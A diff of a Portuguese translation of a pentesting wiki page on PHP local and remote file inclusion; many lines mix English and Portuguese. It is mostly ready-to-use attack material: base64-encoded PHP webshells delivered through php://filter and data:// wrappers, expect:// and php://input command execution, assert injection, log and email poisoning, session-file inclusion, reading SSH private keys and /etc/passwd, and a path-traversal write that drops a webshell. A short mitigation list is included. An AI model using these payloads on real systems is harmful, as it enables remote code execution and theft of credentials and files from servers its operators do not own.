PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -161,7 +161,7 @@ Outro exemplo **não usando o protocolo `php://`** seria:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Elemento root em Python
## Elemento raiz em Python
Em Python, em um código como este:
```python
@ -173,17 +173,17 @@ Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho a
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
É o comportamento intencional de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Isso é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
## Java Listar Diretórios
## Java Listar diretórios
Parece que se você tiver um Path Traversal em Java e você **pedir por um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (afaik).
Parece que se você tiver um Path Traversal em Java e você **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontece em outras linguagens (pelo que sei).
## Top 25 parâmetros
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Aqui está a lista dos top 25 parâmetros que podem ser vulneráveis a local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a lo
?mod={payload}
?conf={payload}
```
## LFI / RFI usando PHP wrappers & protocols
## LFI / RFI usando wrappers e protocolos PHP
### php://filter
PHP filters permitem realizar operações básicas de **modificação nos dados** antes que sejam lidos ou escritos. Existem 5 categorias de filtros:
PHP filters permitem executar operações básicas de **modificação nos dados** antes que eles sejam lidos ou escritos. Existem 5 categorias de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
- Note que este filtro desapareceu nas versões modernas do PHP
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l`
> [!WARNING]
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações veja [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muita informação)
- `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muita informação)
- `zlib.inflate`: Descomprime os dados
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- `mcrypt.*` : Depreciado
- `mdecrypt.*` : Depreciado
- Outros filtros
- Ao executar em php `var_dump(stream_get_filters());` você pode encontrar um par de **filtros inesperados**:
- Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
- `consumed`
- `dechunk`: reverte HTTP chunked encoding
- `dechunk`: reverte a codificação HTTP chunked
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> A parte "php://filter" não diferencia maiúsculas de minúsculas
> A parte "php://filter" é case insensitive
### Usando php filters como oracle para ler arquivos arbitrários
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma **boolean exfiltration of the file (char by char) using php filters** como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica baseia-se numa **boolean exfiltration of the file (caractere por caractere) usando php filters** como oracle. Isto porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.
No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
No post original você pode encontrar uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente.
- Isso será usado para gerar um **text so big when the initial letter is guessed correctly** que fará o php disparar um **erro**.
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente.
- Isto será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php vai disparar um **erro**
- O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex.
- Isso, combinado com o anterior (e other filters dependendo da letra testada), permitirá advinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a deletará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto dechunk não a deleta e o php error é acionado porque se multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o char inicial é um número é necessário fazer base64 encode dele e leak as 2 primeiras letras para leak o número.
- The final problem is to see **how to leak more than the initial letter**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E para conseguir **further data** a ideia é **gerar 2 bytes de junk data no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-los **pivot with the next 2 bytes**, e **delete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
- Isto, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no começo do texto vendo quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto dechunk não a apaga e o php error é disparado porque ele multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início é possível leak other chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
- Quando o char inicial é um número é necessário codificá-lo em base64 e leak the 2 first letters para leak o número.
- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto.
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de junk data no começo** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer pivotar com os próximos 2 bytes, e **deletar os dados até o junk data** (isto removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
No post também foi leaked uma ferramenta para automatizar isso: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
No post uma ferramenta para executar isto automaticamente também foi leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Esse wrapper permite acessar file descriptors que o processo tem abertos. Potentially useful to exfiltrate the content of opened files:
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não tenho certeza de como isso poderia ser útil em um attack)
Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **file descriptors 0, 1 and 2** respectivamente (não sei ao certo como isso poderia ser útil em um ataque)
### zip:// and rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
Para poder abusar do protocolo rar ele **precisa ser ativado especificamente**.
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -332,7 +332,7 @@ Observe que este protocolo é restrito pelas configurações do php **`allow_url
### expect://
Expect precisa estar ativado. Você pode executar código usando isto:
O Expect precisa estar ativado. Você pode executar código usando isto:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`:
Um arquivo `.phar` pode ser usado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -358,13 +358,13 @@ Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Após a execução, um arquivo chamado `test.phar` será criado, que potencialmente pode ser utilizado para explorar vulnerabilidades Local File Inclusion (LFI).
Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, a exploração de uma vulnerabilidade de deserialização pode ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
Em casos onde a LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de deserialization. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
[Guia de Exploração de Deserialização em Phar](phar-deserialization.md)
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
@ -374,35 +374,35 @@ phar-deserialization.md
### CVE-2024-2961
Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter uma RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muito rápido resumo: um **overflow de 3 bytes** no heap do PHP foi abusado para **alterar a cadeia de free chunks** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alocar chunks de tamanhos específicos abusando mais php filters.
Resumo rápido: um **3 byte overflow** no heap do PHP foi abusado para **alterar a chain of free chunks** de um tamanho específico a fim de poder **write anything in any address**, então um hook foi adicionado para chamar **`system`**.\
Foi possível alloc chunks de tamanhos específicos abusando de mais php filters.
### Mais protocolos
Consulte mais [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontra nomes de caminhos que correspondem a um padrão (Não retorna nada imprimível, então não é realmente útil aqui)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (Não retorna nada imprimível, então não é muito útil aqui)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não é útil para ler arquivos arbitrários)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Não útil para ler arquivos arbitrários)
## LFI via PHP's 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Os riscos de Local File Inclusion (LFI) no PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código contido em strings. Isso é particularmente problemático se entradas contendo caracteres de directory traversal como ".." forem verificadas mas não devidamente sanitizadas.
For example, PHP code might be designed to prevent directory traversal like so:
Por exemplo, o código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso para leitura do conteúdo de arquivos, um attacker poderia usar:
Enquanto isso visa impedir traversal, isso inadvertidamente cria um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um attacker poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
De forma similar, para executar comandos arbitrários do sistema, pode-se usar:
De forma semelhante, para executar comandos arbitrários do sistema, pode-se usar:
```plaintext
' and die(system("id")) or '
```
@ -411,38 +411,38 @@ De forma similar, para executar comandos arbitrários do sistema, pode-se usar:
## PHP Blind Path Traversal
> [!WARNING]
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porque o conteúdo não é mostrado.
> Esta técnica é relevante em casos onde você **control** o **file path** de uma **PHP function** que irá **access a file** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) já que o conteúdo não é exibido.
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**.
No [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrate the content of a file via an error oracle**.
Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**.
Resumindo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **big** que a **PHP function opening** o arquivo vai disparar um **error**.
Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**.
Então, para leak o primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **place other chars at the beggining and leak them**.
Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Para os detalhes técnicos confira o post mencionado!
Para os detalhes técnicos, consulte o post mencionado!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Quando o código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalising e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell.
Fluxo típico de exploração:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Identifique um write primitive em um endpoint ou background worker que aceite um path/filename e grave conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Exemplos comuns:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
- Crie um traversal path que saia do diretório de armazenamento pretendido para o webroot, e inclua o conteúdo do seu webshell.
- Navegue até o payload dropado e execute comandos.
Notas:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação de `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central.
Observações:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá o seu payload posteriormente.
- Em stacks Java, essas gravações de arquivo frequentemente são implementadas com simples concatenação `File`/`Paths`. A falta de canonicalisation/allow-listing é a falha central.
Exemplo genérico estilo XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -466,25 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Mitigações que derrotam essa classe de bugs:
- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base allow-listed.
- Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados.
- Execute o writer como uma conta com poucos privilégios e segregue os diretórios de escrita das raízes servidas.
Reforços que previnem essa classe de bugs:
- Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base na allow-list.
- Rejeite qualquer caminho que contenha `..`, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados.
- Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita das raízes servidas.
## Remote File Inclusion
Explicado anteriormente, [**siga este link**](#remote-file-inclusion).
Explicado anteriormente, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Se o servidor Apache ou Nginx estiver **vulnerável a LFI** na função include você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
> [!WARNING]
> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP gerará um erro** ali e **nada mais será executado**.
> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** aí e **nada mais será executado**.
>
> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e isso é decodificado dentro dos logs. A PHPShell pode ser inserida dentro desse header.\
Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
@ -501,12 +501,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via Email
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário usando um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Faça upload de muitas shells (por exemplo: 100)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced)
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser obtido por força bruta) e $FD o descritor de arquivo (também pode ser obtido por força bruta)
### Via /proc/self/environ
@ -517,26 +517,26 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (e.g : `<?php system($_GET['c']); ?>` ).
Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (por exemplo: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Para manter o arquivo legível, é melhor injetar nos metadados das pictures/doc/pdf
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/documentos/PDF
### Via upload de arquivo Zip
### Via upload de arquivo ZIP
Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse:
Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Através de sessões PHP
### Através de PHP sessions
Verifique se o site usa sessão PHP (PHPSESSID)
Verifique se o site usa PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -551,26 +551,26 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Via ssh
Se ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
Se o ssh estiver ativo, verifique qual usuário está em uso (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
1. Injete um payload PHP no campo username durante o processo de login.
2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
Como mostrado em [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o PHP base64 filter ignora caracteres não-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (sem arquivo necessário)
### Via php filters (sem necessidade de arquivo)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** em um arquivo.
{{#ref}}
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
Upload um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo.
{{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx armazenamento de arquivos temporários
Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você talvez consiga obter RCE com a seguinte técnica:
Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você pode conseguir RCE com a técnica a seguir:
{{#ref}}
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE:
Se você encontrou uma **Local File Inclusion** mesmo se você **não tiver uma session** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP **ativará a session para você**. Você pode abusar disso para obter RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
### Via uploads de arquivos temporários no Windows
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode conseguir RCE:
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode obter RCE:
{{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
